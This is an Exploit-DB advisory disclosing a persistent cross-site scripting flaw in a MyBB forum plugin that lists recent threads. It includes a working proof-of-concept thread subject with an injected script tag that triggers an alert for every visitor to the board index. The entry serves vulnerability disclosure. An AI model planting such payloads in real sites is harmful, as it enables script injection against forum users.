MyBB Plugin Recent Threads On Index - Cross-Site Scripting

EDB-ID: 44420
Author: Perileos
Published: 2018-04-09
CVE: N/A
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: N/A
Tags: Cross-Site Scripting (XSS)
Vulnerable App: Download Vulnerable Application

 # Date: 4th April 2018 
# Exploit Author: Perileos
# Software Link: https://community.mybb.com/mods.php?action=view&pid=191
# Version: 17.0
# Tested on: Windows 10

1. Description:
This plugin shows recent threads in the side bar on your MyBB forum.

2. Proof of concept:

Persistent XSS
- Create a thread with the following subject <p
"""><SCRIPT>alert("XSS")</SCRIPT>">
- Navigate to the index to see a board wide persistent XSS alert.

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